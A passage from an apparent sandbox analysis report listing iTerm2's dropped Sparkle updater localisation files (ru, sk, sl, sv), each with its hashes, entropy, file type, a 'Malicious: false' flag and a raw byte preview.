Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20330
Entropy (8bit):	6.802964647480192
Encrypted:	false
SSDEEP:	384:IAgjvME0DeEYNg74d+SVutleshI8tEKIxQbM78XDVkhM:JgOeEYyKVutUshI3K8QnV5
MD5:	ABE43BAD5D114DC5D97637C91D64BE64
SHA1:	BAD02A6C0E3D5F7C7DEAA5EC14EBA4444608B6E8
SHA-256:	D801BCE4F2229101B993F361128F944C47FF0C1D8AC9C559361B0828CB81882C
SHA-512:	971029FE556ECFB525E3BBB378966671681FA3482CC93F154FDA0FDB4C004F81535A20FA8BA98A73D9EED2C9686732C6F89F2E7DECED7D800F6E2A4A3748C9C5
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ru.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	7840
Entropy (8bit):	4.137248766294037
Encrypted:	false
SSDEEP:	96:M4FSFaBuyPPP3U3lQUiVRUxosB4Vy49qQGymZxxEMMnJSOrUCYaENV2IaLM27c:MoSFGP3U3lQUIU62xZxxenJSvCYad42w
MD5:	8421BFC26C90520412FBB2CA41EA8176
SHA1:	9E6D42C09484C54CD91586A200717B5489069FA2
SHA-256:	FDA8A82C2FC8A4B8E1C0659636BA66CEF845AE315C1F103A657B5A81D7B7AE30
SHA-512:	C76778886BAB774A20BC140154BEE7820E1ACDDE2A9F02662FC4D3D557CC7056047773DDCEEAD41783333B41033E12B922B41197E282A290919A2A97459FE7B0
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .7.0.3.@.C.6.5.=. .8. .3.>.B.>.2. .:. .8.A.?.>.;.L.7.>.2.0.=.8.N.!. .%.>.B.8.B.5. .C.A.B.0.=.>.2.8.B.L. .8. .?.5.@.5.7.0.?.C.A.B.8.B.L. .%.1.$.@.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. ."...>. .2.@.5.<.O. .@.0.1.>.B.K. .%.1.$.@. .A. .B.>.<.0.,. .?.@.5.4.=.0.7.=.0.G.5.=.=.>.3.>. .B.>.;.L.:.>. .4.;.O. .G.B.5.=.8.O.,. .:.0.:. .=.0.?.@.8.<.5.@.,. .>.1.@.0.7.0. .4.8.A.:.0. .8.;.8. .=.0.:.>.?.8.B.5.;.O. .=.0. .>.?.B.8.G.5.A.:.8.E. .

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sk.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13604
Entropy (8bit):	6.6927504153175095
Encrypted:	false
SSDEEP:	192:U1WzBQAFBGDFOeYjqE0lCjeEYNMtKwqJ36le/6T9rWxsuL41Blm:UgzJBYeqE0EeEYNg7qJ36leI98sk4Dlm
MD5:	25A0EF0CDDF610B6F05FC7A01591A0AB
SHA1:	BA9BA70BC8E63C0C251E961D4F1479F1AA48C3F7
SHA-256:	8C1D3779ACABF933E1B0F5AE5F3104AB129FCC06832FABACA7BD52B2F7EEE5A4
SHA-512:	D0BAC859FBFC5E66D8464C5CF9E8204A7CB791AF56423647EF20AD0A48A09E9692217D6F3F567815D868623E1EBAA1704236B46322BF7DAAFA702315899BBA1E
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sk.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23224
Entropy (8bit):	6.858587471162949
Encrypted:	false
SSDEEP:	384:bRgbiTx3E0UeEYNg7W+EdyY3v2YJtgh75tQHNKw2lot9U/cNCXjGm5b:1g+ToeEYycyY3v2YJ0ANgotW/lX35b
MD5:	9E5B6438CD94295DDD761FE297C92930
SHA1:	2CF3DE79AF0BA2CF131F8526DFFF459734F03D28
SHA-256:	BD2666422E305558F2156EAFE1F82DFBBB15073AA4789ED6A389783D77FAD540
SHA-512:	1068263F6FBB99F5395DA8008311647152B6BB1474D586AB82AB0656270B7D66D8D0949345D29378D4439A8F1E1DB51FE6EF1A2A2C368592E988781E4B4AB90D
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sk.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20242
Entropy (8bit):	6.753446986459352
Encrypted:	false
SSDEEP:	384:IAgjvvE0DeEYNg74d+0VutleshI8tE5m5xlobM78XLyE5V3EA:JgZeEYyMVutUshI35WloX7V
MD5:	0BD715F527CE35CB34F2FEEA1E740F86
SHA1:	EB7894C274FC25A7F2CAFCBDC2B8EEC51A3F2170
SHA-256:	3B6D6146E23C92DAFD4A35F88178A2946B050DE458C626811E2B1A3E90650D29
SHA-512:	565A8C7D3C9E8A7013442AE6D678A7B95900BCE2284A1201A9FBA044860CFEF0B49D5B99B623CCF7118A5613EF7A6FA86076FA01B76D2AE3317E3D04E54543A8
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sk.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	7532
Entropy (8bit):	3.5243036100833973
Encrypted:	false
SSDEEP:	192:MAW7UWWTvD+3Sv3OmQUu8U6z9K707+kOWn5DATIoRaa:anW8EZ4Yz5DATNsa
MD5:	8ED0722D528BFD874A03A1B4B71F3DD6
SHA1:	FE24468BE972FA4CA8B7EA1CFE18EBD197014A13
SHA-256:	0EBEC3D8285A90FEC88F348A3D42C08DF43FFE89CB3242F4830FB2C9F623B290
SHA-512:	D31975FCD83DB6D322774CA738298D40EF5D4F7DB508A467E99544F715F2408B3E27645B0E4C4FD34DE53AA357B73F2BAEEA885E79472277ED45881C2C4805F6
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".A.p.l.i.k...c.i.a. .%.1.$.@. .%.2.$.@. .b.o.l.a. .p.r.e.v.z.a.t... .a. .j.e. .p.r.i.p.r.a.v.e.n... .n.a. .p.o.u.~.i.t.i.e.!. .C.h.c.e.t.e. .t.e.r.a.z. .n.a.i.n.a.t.a.l.o.v.a.e. .a. .n...s.l.e.d.n.e. .z.n.o.v.u. .s.p.u.s.t.i.e. .%.1.$.@.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".A.p.l.i.k...c.i.u. .%.1.$.@. .n.e.m.o.~.n.o. .a.k.t.u.a.l.i.z.o.v.a.e.,. .a.k. .j.e. .s.p.u.s.t.e.n... .z.o. .z.v...z.k.u. .s. .p.r...v.a.m.i. .l.e.n. .n.a. .....t.a.n.i.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sl.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13514
Entropy (8bit):	6.704627823537518
Encrypted:	false
SSDEEP:	192:U1WzBQAFwGswOeYjqE0lCjeEYNMtKwqJ36ltv/6T9rWeAruXEj:UgzJw2eqE0EeEYNg7qJ36lpI9AuUj
MD5:	18FC50017889F8BE2FE97E5F06AFBEE1
SHA1:	CCF166B7791FF0A828EE11766B3C32EE64937A89
SHA-256:	D095E7527C81EBE138B3D1517E2D7678BBF0645CEBA8CA4520BEB2F85C257163
SHA-512:	138CED84EBED859C41059220500A382BFC2D175FC155F03EF3E053998C0E8AC2D6F0ABE2C8F895AEDA5589B894249B5A3253EF30B75D37276F8B187FA73429F9
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sl.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23136
Entropy (8bit):	6.87086056561171
Encrypted:	false
SSDEEP:	384:bRgbiTu3E0UeEYNg7W+EIeSMv2YJtgEnD5tQHNKw8dDqCUV4NJ:1g+TneEYyHeSMv2YJpoNxu
MD5:	BA1DA9EA4C99C20DA791B58F07544644
SHA1:	AC2C8114F7F40F146EC900909E588BC607FFB28E
SHA-256:	FA7042EB57A2CB7315A9917B66A0D0E9B1410ED121339EA93FE1001FC64B7D66
SHA-512:	91084671C022F8687009E58796AA28F78F29469167365DEB18C1CAEBBBE3B03BD1E7169E5986B8BFC03B36E96A19612DF6FE7E4EB3C6B4C4FE052B19E216729F
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sl.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20161
Entropy (8bit):	6.759309086807847
Encrypted:	false
SSDEEP:	384:IAgjvXE0DeEYNg74d+0VutleshI8tE3ggxl/bM78XLr72f:JgZeEYyMVutUshI3QEl/H0
MD5:	DE748EC0DDFAA7318511376DBF47D68F
SHA1:	4044B55CF48CA14EBB2C182E80D1917422C56CE9
SHA-256:	12A7B7A2BF10F2297D1993E34970CD9172729E15C9890AA2297FC6FFF73C2753
SHA-512:	C6FA1B55108E5B6246EB399131CBFA22C12A8D70F06216C1A683D1CEA00A0F18F545C0C6229C70AE9993DBDDC1BDBE89B275E47BF02F18590F65FDA63C766E68
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sl.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	7928
Entropy (8bit):	3.4690033051526363
Encrypted:	false
SSDEEP:	192:MAyICm30S3gjQUvUbU6C3dzkPe588sbwJBqLnVdZP1YVpvJ:JyIDIUb9GRknZdk7
MD5:	817B742FC6D5DD1B603325AD13F35EB8
SHA1:	B004CD9D6F91EBC9EAF09588F964C09C3872A483
SHA-256:	4E89E3250ABDD6BA2A4CF703EE404A1FFC6C7EF85CD30977AB45C14B2480BBE8
SHA-512:	F22A37432ED980745427C8576503AE544895FFF1F77495DDFCC329E0C1A396BA24F5643009E6D226ED6F9ED1E4E78060834DD931FFC093A44454BF18E75969FD
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .j.e. .b.i.l. .u.s.p.e.a.n.o. .p.r.e.n.e.a.e.n. .s. .s.p.l.e.t.a. .i.n. .j.e. .p.r.i.p.r.a.v.l.j.e.n. .n.a. .n.a.m.e.s.t.i.t.e.v... .G.a. .~.e.l.i.t.e. .n.a.m.e.s.t.i.t.i. .i.n. .p.o.n.o.v.n.o. .z.a.g.n.a.t.i. .t.a.k.o.j.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".P.r.o.g.r.a.m.a. .%.1.$.@. .n.i. .m.o.g.o...e. .p.o.s.o.d.o.b.i.t.i.,. .k.e.r. .g.a. .p.o.g.a.n.j.a.t.e. .i.z. .l.o.k.a.c.i.j.e.,. .k.a.m.o.r. .p.i.s.a.n.j.e. .n.i. .

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sv.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13563
Entropy (8bit):	6.697594321399166
Encrypted:	false
SSDEEP:	192:U1WzBQAFsGbhOeYjqE0lCjeEYNMtKwqJ36lD/6T9rWYgI:UgzJs2eqE0EeEYNg7qJ36lDI9h
MD5:	E17440273B883C46C8F803DE999D1B1C
SHA1:	A3A89AAD1409EC5B5318FDD867707681D35EDA95
SHA-256:	B4A410477F19871F085156DE01873F89C36CDAE50D64E5A526CEB66E55037BB1
SHA-512:	AC7BAC52CD27B600AAEAA8E6DFC3BA59B19E7646E9BF88E7CD1F426968C490CBC89791E7F6AFC068216FA8A620E2E9C7E1752517FAB31CEB5AE709BCFC2E8481
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sv.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23198
Entropy (8bit):	6.862540165259061
Encrypted:	false
SSDEEP:	384:bRgbiWM2E0UeEYNg7W+EJKXDv2YJtx9GkL5eQHNKwQ79qHz/:1g+WAeEYyMKXDv2YJ1LNQ7m7
MD5:	63806CBA4A5FE268EB1304C9515A5A76
SHA1:	3D0E9A83EEBEC4E5CD0A6CEA6DC11509AD6F77A7
SHA-256:	00207A8946295F279A8FDE01A0EA13683217DFE06B6ADDDD4D0EAD491BA95E89
SHA-512:	6F9FF6F7278C7B9007D2DE3CD18FDDA5B047B0209ED9A9E3AF4992E95B7EA5E2C3B2920ACD2508E57D07B2E7BA43A6CC89B9D7E948F1B17D7374E7EB33CEA229
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sv.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20157
Entropy (8bit):	6.763352432482904
Encrypted:	false
SSDEEP:	384:IAgjvRE0DeEYNg74d+0VutleshIPtEcwxlobM78X6hZdg3kh:JgneEYyMVutUshIecUlo2O2
MD5:	DA28F28219B1F7EC8CCA766C482CAF68
SHA1:	1DA52A0F1A67EBB02CC65C0387BE486D33C44D10
SHA-256:	233B9D5F1B6689C352B27B8008B3CB5B9E9CE0548A4DF22697F3FB48CBEA3810
SHA-512:	79BBA4D321C3FB5ECB101C782A71A3AC822A213E414537576AB21BA68D61B60C8A67888EE297194E5E65C78DF8A70C4091D39CFE7C855B08378C2766FB276F99
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/sv.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	7816
Entropy (8bit):	3.4310029870641507
Encrypted:	false
SSDEEP:	192:MHw1VV3E3VQUCU69xqi9clc5mGYKXw6f4iHnEYmsOQ42y:D1rruiHEYmJGy
MD5:	0C5E81C10F01FC506D9FE58668C56B96
SHA1:	B5488D25217B76CE353960F8232799A2040E7A49
SHA-256:	40B54F1975AAB59F54761E2ECFE94B897F379E70C674333D58447D5B6181B2FE
SHA-512:	80342860A1F55B07D78ACA82FD96224074CA8F13B43C31E6CA66FB2EA27968282AFA0A20BB2ED3EA92C378172EF16D338D8A1CE349DA47A58EA8EBEC32AC2E2F
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .h.a.r. .h...m.t.a.t.s. .o.c.h. ...r. .k.l.a.r. .a.t.t. .a.n.v...n.d.a.!. .V.i.l.l. .d.u. .i.n.s.t.a.l.l.e.r.a. .d.e.t. .o.c.h. .s.t.a.r.t.a. .o.m. .%.1.$.@. .n.u.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".%.1.$.@. .k.a.n. .i.n.t.e. .u.p.p.d.a.t.e.r.a.s. .n...r. .d.e.t. .k...r.s. .f.r...n. .e.n. .s.k.r.i.v.s.k.y.d.d.a.d. .v.o.l.y.m. .s.o.m. .e.n. .s.k.i.v.a.v.b.i.l.d. 